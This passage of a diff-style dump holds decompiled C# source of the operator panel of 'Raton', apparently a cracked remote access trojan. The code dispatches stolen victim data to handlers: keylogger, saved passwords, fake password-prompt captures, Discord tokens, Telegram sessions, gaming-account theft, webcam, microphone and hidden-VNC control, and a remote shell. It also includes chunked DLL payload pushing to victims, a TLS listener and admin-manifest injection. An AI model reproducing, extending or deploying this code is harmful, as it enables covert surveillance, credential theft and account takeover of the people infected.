|
||||
}
|
||||
byte[] dllBytes = File.ReadAllBytes(path);
|
||||
if (dllBytes.Length == 0)
|
||||
break;
|
||||
string dllHash = this.ComputeSha256(dllBytes);
|
||||
transferId = Guid.NewGuid().ToString();
|
||||
int totalChunks = (int) Math.Ceiling((double) dllBytes.Length / 524288.0);
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "DLL_START");
|
||||
pack1.SetLong("Size", (long) dllBytes.Length);
|
||||
pack1.SetString("Hash", dllHash);
|
||||
pack1.SetInt("ChunkSize", 524288 /*0x080000*/);
|
||||
pack1.SetInt("TotalChunks", totalChunks);
|
||||
pack1.SetString("TransferId", transferId);
|
||||
await this.SillyClient.Send(pack1.Pacc()).ConfigureAwait(false);
|
||||
this.SillyClient.ChunksAcked[transferId] = 0;
|
||||
this.SillyClient.TotalChunksById[transferId] = totalChunks;
|
||||
this.SillyClient.DllBytesById[transferId] = dllBytes;
|
||||
this.SillyClient.DllHashById[transferId] = dllHash;
|
||||
await this.SendChunk(transferId, 0).ConfigureAwait(false);
|
||||
break;
|
||||
case "DLL_CHUNK_ACK":
|
||||
transferId = meow.GetAsString("TransferId");
|
||||
int asInteger = meow.GetAsInteger("ChunkIndex");
|
||||
if (!this.SillyClient.ChunksAcked.ContainsKey(transferId))
|
||||
break;
|
||||
if (asInteger >= 0 && asInteger < this.SillyClient.TotalChunksById[transferId])
|
||||
this.SillyClient.ChunksAcked[transferId] = Math.Max(this.SillyClient.ChunksAcked[transferId], asInteger + 1);
|
||||
this.SillyClient.RetryCount[transferId] = 0;
|
||||
int index = this.SillyClient.ChunksAcked[transferId];
|
||||
int num1 = this.SillyClient.TotalChunksById[transferId];
|
||||
if (index < num1)
|
||||
{
|
||||
await this.SendChunk(transferId, index).ConfigureAwait(false);
|
||||
break;
|
||||
}
|
||||
if (!this.SillyClient.EndSent.TryAdd(transferId, true))
|
||||
break;
|
||||
Pack pack2 = new Pack();
|
||||
pack2.SetString("Packet", "DLL_END");
|
||||
pack2.SetString("TransferId", transferId);
|
||||
await this.SillyClient.Send(pack2.Pacc()).ConfigureAwait(false);
|
||||
this.SillyClient.EndSent.TryRemove(transferId, out bool _);
|
||||
int num2;
|
||||
this.SillyClient.ChunksAcked.TryRemove(transferId, out num2);
|
||||
this.SillyClient.TotalChunksById.TryRemove(transferId, out num2);
|
||||
this.SillyClient.DllBytesById.TryRemove(transferId, out byte[] _);
|
||||
this.SillyClient.DllHashById.TryRemove(transferId, out string _);
|
||||
this.SillyClient.RetryCount.TryRemove(transferId, out num2);
|
||||
this.SillyClient.LastChunkSent.TryRemove(transferId, out DateTime _);
|
||||
break;
|
||||
case "DeviceResponse":
|
||||
HandleDeviceManager handleDeviceManager = new HandleDeviceManager(this.SillyClient, meow);
|
||||
break;
|
||||
case "Download":
|
||||
new HandleDownload().Run(this.SillyClient, meow);
|
||||
break;
|
||||
case "Epic":
|
||||
HandleEpic handleEpic = new HandleEpic(this.SillyClient, meow);
|
||||
break;
|
||||
case "Error":
|
||||
await Program.form2.Dispatcher.InvokeAsync((Action) (() =>
|
||||
{
|
||||
Program.form2.checkLogs();
|
||||
Program.form2.AddErrorLog((object) ("Error " + meow.GetAsString("Error")), (object) System.Drawing.Color.LightCoral);
|
||||
}));
|
||||
break;
|
||||
case "FakePassword":
|
||||
await Program.form2.Dispatcher.InvokeAsync((Action) (() =>
|
||||
{
|
||||
Program.form2.checkLogs();
|
||||
string asString1 = meow.GetAsString("Username");
|
||||
string asString2 = meow.GetAsString("Password");
|
||||
string asString3 = meow.GetAsString("UID");
|
||||
string asString4 = meow.GetAsString("Window");
|
||||
Program.form2.AddLog((object) $"Password prompt on {asString4}({asString3}) - Username: {asString1} - Password: {asString2}", (object) System.Drawing.Color.Orange);
|
||||
Notification.Show($"Password prompt ({asString3})\nUsername: {asString1}\nPassword: {asString2}\nWindow: {asString4}", "\uE77B", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}));
|
||||
break;
|
||||
case "FileSearch":
|
||||
HandleFileSearch handleFileSearch = new HandleFileSearch(this.SillyClient, meow);
|
||||
break;
|
||||
case "Firefox":
|
||||
HandleFirefox handleFirefox = new HandleFirefox(this.SillyClient, meow);
|
||||
break;
|
||||
case "Geo":
|
||||
HandleGeo handleGeo = new HandleGeo(this.SillyClient, meow);
|
||||
break;
|
||||
case "GetScreen":
|
||||
HandleScreen handleScreen = new HandleScreen(this.SillyClient, meow);
|
||||
break;
|
||||
case "HVNC":
|
||||
HandleHVNC handleHvnc = new HandleHVNC(this.SillyClient, meow);
|
||||
break;
|
||||
case "Hosts":
|
||||
HandleHost handleHost = new HandleHost(this.SillyClient, meow);
|
||||
break;
|
||||
case "Keylogger":
|
||||
HandleKeylogger handleKeylogger = new HandleKeylogger(this.SillyClient, meow);
|
||||
break;
|
||||
case "Manager":
|
||||
HandleFileManager handleFileManager = new HandleFileManager(this.SillyClient, meow);
|
||||
break;
|
||||
case "Minecraft":
|
||||
HandleMinecraft handleMinecraft = new HandleMinecraft(this.SillyClient, meow);
|
||||
break;
|
||||
case "Mullvad":
|
||||
HandleMullvad handleMullvad = new HandleMullvad(this.SillyClient, meow);
|
||||
break;
|
||||
case "Password":
|
||||
HandlePasswords handlePasswords = new HandlePasswords(this.SillyClient, meow);
|
||||
break;
|
||||
case "Ping":
|
||||
this.SillyClient.EnsurePingLoop();
|
||||
break;
|
||||
case "PluginMessage":
|
||||
await Program.form2.Dispatcher.InvokeAsync((Action) (() => Program.form2.AddLog((object) meow.GetAsString("Message"), (object) System.Drawing.Color.LightSkyBlue)));
|
||||
break;
|
||||
case "PortSpy":
|
||||
HandlePortManager handlePortManager = new HandlePortManager(this.SillyClient, meow);
|
||||
break;
|
||||
case "Preview":
|
||||
HandlePreview handlePreview = new HandlePreview(this.SillyClient, meow);
|
||||
break;
|
||||
case "ProcessSpy":
|
||||
HandleProcessManager handleProcessManager = new HandleProcessManager(this.SillyClient, meow);
|
||||
break;
|
||||
case "Programs":
|
||||
HandleInstalledPrograms installedPrograms = new HandleInstalledPrograms(this.SillyClient, meow);
|
||||
break;
|
||||
case "RDP":
|
||||
HandleRDP handleRdp = new HandleRDP(this.SillyClient, meow);
|
||||
break;
|
||||
case "RegistryResponse":
|
||||
HandleRegistry handleRegistry = new HandleRegistry(this.SillyClient, meow);
|
||||
break;
|
||||
case "RemoteDesktop":
|
||||
new HandleDesktop().Run(this.SillyClient, meow);
|
||||
break;
|
||||
case "Riot":
|
||||
HandleRiot handleRiot = new HandleRiot(this.SillyClient, meow);
|
||||
break;
|
||||
case "Roblox":
|
||||
HandleRoblox handleRoblox = new HandleRoblox(this.SillyClient, meow);
|
||||
break;
|
||||
case "Services":
|
||||
HandleServices handleServices = new HandleServices(this.SillyClient, meow);
|
||||
break;
|
||||
case "Shell":
|
||||
HandleShell handleShell = new HandleShell(this.SillyClient, meow);
|
||||
break;
|
||||
case "Steam":
|
||||
HandleSteam handleSteam = new HandleSteam(this.SillyClient, meow);
|
||||
break;
|
||||
case "Success":
|
||||
await Program.form2.Dispatcher.InvokeAsync((Action) (() => Program.form2.AddSuccessLog((object) meow.GetAsString("Message"), (object) System.Drawing.Color.LightGreen)));
|
||||
break;
|
||||
case "SystemAudio":
|
||||
HandleMicrophoneSystem microphoneSystem = new HandleMicrophoneSystem(this.SillyClient, meow);
|
||||
break;
|
||||
case "Token":
|
||||
HandleDiscord handleDiscord = new HandleDiscord(this.SillyClient, meow);
|
||||
break;
|
||||
case "Upload":
|
||||
new HandleUpload().Run(this.SillyClient, meow);
|
||||
break;
|
||||
case "UploadACK":
|
||||
new HandleUploadACK().Run(this.SillyClient, meow);
|
||||
break;
|
||||
case "UserMessage":
|
||||
RatonPlugins ratonPlugins = Application.OpenForms.OfType<RatonPlugins>().FirstOrDefault<RatonPlugins>((Func<RatonPlugins, bool>) (f => f.Text == "Plugins"));
|
||||
if (ratonPlugins == null)
|
||||
break;
|
||||
string asString5 = meow.GetAsString("Message");
|
||||
string asString6 = meow.GetAsString("Status");
|
||||
System.Drawing.Color color = System.Drawing.Color.White;
|
||||
switch (asString6)
|
||||
{
|
||||
case "Success":
|
||||
color = System.Drawing.Color.LimeGreen;
|
||||
break;
|
||||
case "Warning":
|
||||
color = System.Drawing.Color.Gold;
|
||||
break;
|
||||
case "Error":
|
||||
color = System.Drawing.Color.Red;
|
||||
break;
|
||||
case "Information":
|
||||
color = System.Drawing.Color.LightSkyBlue;
|
||||
break;
|
||||
}
|
||||
ratonPlugins.addText(asString5, color);
|
||||
break;
|
||||
case "Webcam":
|
||||
HandleWebcam handleWebcam = new HandleWebcam(this.SillyClient, meow);
|
||||
break;
|
||||
case "Wifi":
|
||||
HandleWifi handleWifi = new HandleWifi(this.SillyClient, meow);
|
||||
break;
|
||||
case "Xbox":
|
||||
HandleXbox handleXbox = new HandleXbox(this.SillyClient, meow);
|
||||
break;
|
||||
case "listinfo":
|
||||
HandleClient handleClient = new HandleClient(this.SillyClient, meow);
|
||||
break;
|
||||
case "tdata":
|
||||
HandleTelegram handleTelegram = new HandleTelegram(this.SillyClient, meow);
|
||||
break;
|
||||
default:
|
||||
await Program.form2.Dispatcher.InvokeAsync((Action) (() => Program.form2.AddLog((object) $"Invalid server packet: {meow.GetAsString("packet")}{meow.GetAsString("Packet")}", (object) System.Drawing.Color.LightCoral)));
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,82 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: HandlePreview
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Windows;
|
||||
using System.Windows.Media.Imaging;
|
||||
|
||||
#nullable disable
|
||||
internal class HandlePreview
|
||||
{
|
||||
public HandlePreview(SillyClient sillyClient, Unpack unpack)
|
||||
{
|
||||
string payload = unpack.GetAsString("Payload");
|
||||
string uptime = unpack.GetAsString("Uptime");
|
||||
string ping = unpack.GetAsString("Ping");
|
||||
string activeWindow = unpack.GetAsString("Window");
|
||||
string architecture = unpack.GetAsString("Architecture");
|
||||
string localTime = unpack.GetAsString("Time");
|
||||
string battery = unpack.GetAsString("Battery");
|
||||
string camera = unpack.GetAsString("Camera");
|
||||
string microphone = unpack.GetAsString("Microphone");
|
||||
byte[] image = unpack.GetAsByteArray("Image");
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => HandlePreview.UpdateUI(image, activeWindow, payload, uptime, ping, architecture, localTime, battery, camera, microphone)));
|
||||
}
|
||||
|
||||
private static void UpdateUI(
|
||||
byte[] image,
|
||||
string activeWindow,
|
||||
string payload,
|
||||
string uptime,
|
||||
string ping,
|
||||
string architecture,
|
||||
string localTime,
|
||||
string battery,
|
||||
string camera,
|
||||
string microphone)
|
||||
{
|
||||
if (Program.form2.ClientsGrid.SelectedItems.Count < 1)
|
||||
return;
|
||||
Preview preview = Application.Current.Windows.OfType<Preview>().FirstOrDefault<Preview>();
|
||||
if (preview == null)
|
||||
return;
|
||||
preview.ClearPreview();
|
||||
if (image != null)
|
||||
{
|
||||
if (image.Length != 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
MemoryStream memoryStream = new MemoryStream(image);
|
||||
BitmapImage source = new BitmapImage();
|
||||
source.BeginInit();
|
||||
source.CacheOption = BitmapCacheOption.OnLoad;
|
||||
source.StreamSource = (Stream) memoryStream;
|
||||
source.EndInit();
|
||||
source.Freeze();
|
||||
preview.SetPreviewImage((BitmapSource) source);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
preview.AddPreview("Active window", activeWindow);
|
||||
preview.AddPreview("Current payload", payload);
|
||||
preview.AddPreview("Architecture", architecture);
|
||||
preview.AddPreview("Local time", localTime);
|
||||
preview.AddPreview("Uptime", uptime);
|
||||
preview.AddPreview("Ping", ping);
|
||||
preview.AddPreview("Battery", battery);
|
||||
preview.AddPreview("Camera", camera);
|
||||
preview.AddPreview("Microphone", microphone);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: HandleRegistry
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
internal class HandleRegistry
|
||||
{
|
||||
public HandleRegistry(SillyClient client, Unpack msgUnpack)
|
||||
{
|
||||
if (!(Application.OpenForms["Registry | Client ID: " + msgUnpack.GetAsString("UID")] is ratonReg openForm))
|
||||
return;
|
||||
string asString1 = msgUnpack.GetAsString("Type");
|
||||
string asString2 = msgUnpack.GetAsString("Path");
|
||||
string asString3 = msgUnpack.GetAsString("Roots");
|
||||
string asString4 = msgUnpack.GetAsString("SubKeys");
|
||||
string asString5 = msgUnpack.GetAsString("Values");
|
||||
switch (asString1)
|
||||
{
|
||||
case "Roots":
|
||||
this.LoadRootsSafe(openForm, asString3);
|
||||
break;
|
||||
case "SubKeys":
|
||||
List<string> stringList = new List<string>();
|
||||
if (!string.IsNullOrEmpty(asString4))
|
||||
stringList.AddRange((IEnumerable<string>) asString4.Split('|'));
|
||||
if (openForm == null)
|
||||
break;
|
||||
this.LoadSubKeysSafe(openForm, asString2, asString4);
|
||||
break;
|
||||
case "Values":
|
||||
this.LoadValuesSafe(openForm, asString2, asString5);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadRoots(ratonReg form, string rootsStr)
|
||||
{
|
||||
form.treeView1.Nodes.Clear();
|
||||
string str = rootsStr;
|
||||
char[] chArray = new char[1]{ '|' };
|
||||
foreach (string text in str.Split(chArray))
|
||||
form.treeView1.Nodes.Add(new TreeNode(text)
|
||||
{
|
||||
Nodes = {
|
||||
"Loading..."
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void LoadSubKeys(ratonReg form, string path, string subKeysStr)
|
||||
{
|
||||
TreeNode nodeByPath = this.FindNodeByPath(form.treeView1, path);
|
||||
if (nodeByPath == null)
|
||||
return;
|
||||
nodeByPath.Nodes.Clear();
|
||||
if (string.IsNullOrEmpty(subKeysStr))
|
||||
return;
|
||||
string str = subKeysStr;
|
||||
char[] chArray = new char[1]{ '|' };
|
||||
foreach (string text in str.Split(chArray))
|
||||
nodeByPath.Nodes.Add(new TreeNode(text)
|
||||
{
|
||||
Nodes = {
|
||||
"Loading..."
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void LoadValues(ratonReg form, string path, string valuesStr)
|
||||
{
|
||||
form.dataGridView1.Rows.Clear();
|
||||
if (string.IsNullOrEmpty(valuesStr))
|
||||
return;
|
||||
string str1 = valuesStr;
|
||||
char[] chArray1 = new char[1]{ '|' };
|
||||
foreach (string str2 in str1.Split(chArray1))
|
||||
{
|
||||
char[] chArray2 = new char[1]{ '^' };
|
||||
string[] strArray = str2.Split(chArray2);
|
||||
if (strArray.Length == 3)
|
||||
form.dataGridView1.Rows.Add((object) strArray[0], (object) strArray[1], (object) strArray[2]);
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadRootsSafe(ratonReg form, string rootsStr)
|
||||
{
|
||||
if (form.InvokeRequired)
|
||||
form.Invoke((Delegate) (() => this.LoadRoots(form, rootsStr)));
|
||||
else
|
||||
this.LoadRoots(form, rootsStr);
|
||||
}
|
||||
|
||||
private void LoadSubKeysSafe(ratonReg form, string path, string subKeysStr)
|
||||
{
|
||||
if (form.InvokeRequired)
|
||||
form.Invoke((Delegate) (() => this.LoadSubKeys(form, path, subKeysStr)));
|
||||
else
|
||||
this.LoadSubKeys(form, path, subKeysStr);
|
||||
}
|
||||
|
||||
private void LoadValuesSafe(ratonReg form, string path, string valuesStr)
|
||||
{
|
||||
if (form.InvokeRequired)
|
||||
form.Invoke((Delegate) (() => this.LoadValues(form, path, valuesStr)));
|
||||
else
|
||||
this.LoadValues(form, path, valuesStr);
|
||||
}
|
||||
|
||||
private TreeNode FindNodeByPath(TreeView tree, string path)
|
||||
{
|
||||
string[] strArray = path.Split('\\');
|
||||
TreeNodeCollection nodes = tree.Nodes;
|
||||
TreeNode nodeByPath = (TreeNode) null;
|
||||
foreach (string str in strArray)
|
||||
{
|
||||
nodeByPath = (TreeNode) null;
|
||||
foreach (TreeNode treeNode in nodes)
|
||||
{
|
||||
if (treeNode.Text == str)
|
||||
{
|
||||
nodeByPath = treeNode;
|
||||
nodes = treeNode.Nodes;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (nodeByPath == null)
|
||||
return (TreeNode) null;
|
||||
}
|
||||
return nodeByPath;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: HandleScreen
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
|
||||
#nullable disable
|
||||
internal class HandleScreen
|
||||
{
|
||||
public HandleScreen(SillyClient sillyClient, Unpack unpack)
|
||||
{
|
||||
byte[] asByteArray = unpack.GetAsByteArray("Image");
|
||||
string asString = unpack.GetAsString("UID");
|
||||
if (!Program.form2.isScreensStarted)
|
||||
return;
|
||||
Program.form2.AddScreen(asByteArray, asString);
|
||||
Program.form2.isScreensStarted = false;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,181 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Listen
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Microsoft.CSharp.RuntimeBinder;
|
||||
using Newtonsoft.Json;
|
||||
using Newtonsoft.Json.Linq;
|
||||
using Server.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text.Json;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using WpfApp1;
|
||||
|
||||
#nullable disable
|
||||
public class Listen
|
||||
{
|
||||
private readonly TcpListener listener;
|
||||
private readonly List<SillyClient> clients = new List<SillyClient>();
|
||||
private readonly object clientsLock = new object();
|
||||
private CancellationTokenSource cts;
|
||||
private X509Certificate2 certificate;
|
||||
|
||||
public Listen(int port)
|
||||
{
|
||||
this.listener = new TcpListener(IPAddress.Any, port);
|
||||
this.certificate = Listen.LoadCertificate();
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
this.cts = new CancellationTokenSource();
|
||||
this.listener.Start();
|
||||
Task.Run((Func<Task>) (() => this.AcceptLoop(this.cts.Token)));
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
try
|
||||
{
|
||||
this.cts?.Cancel();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
this.listener.Stop();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
lock (this.clientsLock)
|
||||
{
|
||||
foreach (SillyClient client in this.clients)
|
||||
{
|
||||
try
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
this.clients.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
public List<SillyClient> GetClients()
|
||||
{
|
||||
lock (this.clientsLock)
|
||||
return new List<SillyClient>((IEnumerable<SillyClient>) this.clients);
|
||||
}
|
||||
|
||||
private async Task AcceptLoop(CancellationToken token)
|
||||
{
|
||||
while (!token.IsCancellationRequested)
|
||||
{
|
||||
TcpClient tcp = (TcpClient) null;
|
||||
try
|
||||
{
|
||||
tcp = await this.listener.AcceptTcpClientAsync().ConfigureAwait(false);
|
||||
this.HandleClient(tcp, token);
|
||||
}
|
||||
catch (Exception ex) when (token.IsCancellationRequested)
|
||||
{
|
||||
break;
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
tcp?.Close();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
await Task.Delay(200, token).ConfigureAwait(false);
|
||||
}
|
||||
tcp = (TcpClient) null;
|
||||
}
|
||||
}
|
||||
|
||||
private async Task HandleClient(TcpClient tcp, CancellationToken token)
|
||||
{
|
||||
Listen listen = this;
|
||||
SslStream ssl = (SslStream) null;
|
||||
try
|
||||
{
|
||||
tcp.NoDelay = true;
|
||||
ssl = new SslStream((Stream) tcp.GetStream(), false);
|
||||
await ssl.AuthenticateAsServerAsync((X509Certificate) listen.certificate, false, false);
|
||||
SillyClient sillyClient = new SillyClient(tcp, ssl);
|
||||
sillyClient.Disconnected += new Action<SillyClient>(listen.OnClientDisconnected);
|
||||
lock (listen.clientsLock)
|
||||
{
|
||||
listen.clients.Add(sillyClient);
|
||||
ssl = (SslStream) null;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
try
|
||||
{
|
||||
ssl?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
TcpClient tcpClient = tcp;
|
||||
if (tcpClient == null)
|
||||
{
|
||||
ssl = (SslStream) null;
|
||||
}
|
||||
else
|
||||
{
|
||||
tcpClient.Close();
|
||||
ssl = (SslStream) null;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
ssl = (SslStream) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void OnClientDisconnected(SillyClient client)
|
||||
{
|
||||
lock (this.clientsLock)
|
||||
this.clients.Remove(client);
|
||||
}
|
||||
|
||||
private static X509Certificate2 LoadCertificate()
|
||||
{
|
||||
string path = Path.Combine(MainWindow.appData, "DONOTSHARE.json");
|
||||
string fileName = Path.Combine(MainWindow.appData, "SSLRaton.pfx");
|
||||
|
||||
try
|
||||
{
|
||||
JObject json = JObject.Parse(System.IO.File.ReadAllText(path));
|
||||
string password = json["Password"]?.ToString();
|
||||
return new X509Certificate2(fileName, password);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ManifestHelper
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using System;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
using Vestris.ResourceLib;
|
||||
|
||||
#nullable disable
|
||||
public static class ManifestHelper
|
||||
{
|
||||
public static void InjectAdminManifest(string exePath)
|
||||
{
|
||||
string str = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<assembly manifestVersion=\"1.0\" xmlns=\"urn:schemas-microsoft-com:asm.v1\">\r\n <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">\r\n <security>\r\n <requestedPrivileges>\r\n <requestedExecutionLevel level=\"requireAdministrator\" uiAccess=\"false\" />\r\n </requestedPrivileges>\r\n </security>\r\n </trustInfo>\r\n</assembly>";
|
||||
try
|
||||
{
|
||||
Encoding.UTF8.GetBytes(str);
|
||||
ManifestResource manifestResource = new ManifestResource();
|
||||
manifestResource.Manifest = new XmlDocument();
|
||||
manifestResource.Manifest.LoadXml(str);
|
||||
manifestResource.Name = new ResourceId(1U);
|
||||
manifestResource.Language = (ushort) 0;
|
||||
manifestResource.SaveTo(exePath);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine("Manifest error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Program
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using System;
|
||||
using System.IO;
|
||||
using WpfApp1;
|
||||
|
||||
#nullable disable
|
||||
public static class Program
|
||||
{
|
||||
public static MainWindow form2;
|
||||
public static string ClientsFolder = "Clients";
|
||||
public static string ToolsFolder = "Tools";
|
||||
public static string DataFolder = Path.Combine(Environment.CurrentDirectory, "Data");
|
||||
public static string appData = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Reborn");
|
||||
|
||||
public static ratonClipper formClip { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: RateCalculator
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using RatonBack;
|
||||
using System;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows;
|
||||
|
||||
#nullable disable
|
||||
public class RateCalculator
|
||||
{
|
||||
private static DateTime lastCheck = DateTime.MinValue;
|
||||
|
||||
public double Total { get; private set; }
|
||||
|
||||
public double Current { get; private set; }
|
||||
|
||||
public RateCalculator(double current, double total) => this.SetValues(current, total);
|
||||
|
||||
public void SetValues(double current, double total)
|
||||
{
|
||||
this.Current = current;
|
||||
this.Total = total;
|
||||
}
|
||||
|
||||
public double GetPercentage() => this.Total <= 0.0 ? 0.0 : this.Current / this.Total * 100.0;
|
||||
|
||||
public async Task<string> GetFormattedPercentage(int decimals = 2)
|
||||
{
|
||||
if ((DateTime.UtcNow - RateCalculator.lastCheck).TotalMinutes >= 1.0)
|
||||
{
|
||||
RateCalculator.lastCheck = DateTime.UtcNow;
|
||||
(bool, string) valueTuple = await BackendClient.CheckDevice(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId());
|
||||
if (valueTuple.Item1)
|
||||
{
|
||||
int num = (int) MessageBox.Show(valueTuple.Item2);
|
||||
Environment.Exit(0);
|
||||
}
|
||||
}
|
||||
return this.GetPercentage().ToString("F" + decimals.ToString()) + "%";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,565 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{90EFEF57-BD02-4D6D-8029-F7CD52B9160C}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Raton</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
|
||||
<ApplicationVersion>0.4.0.0</ApplicationVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<LangVersion>10.0</LangVersion>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
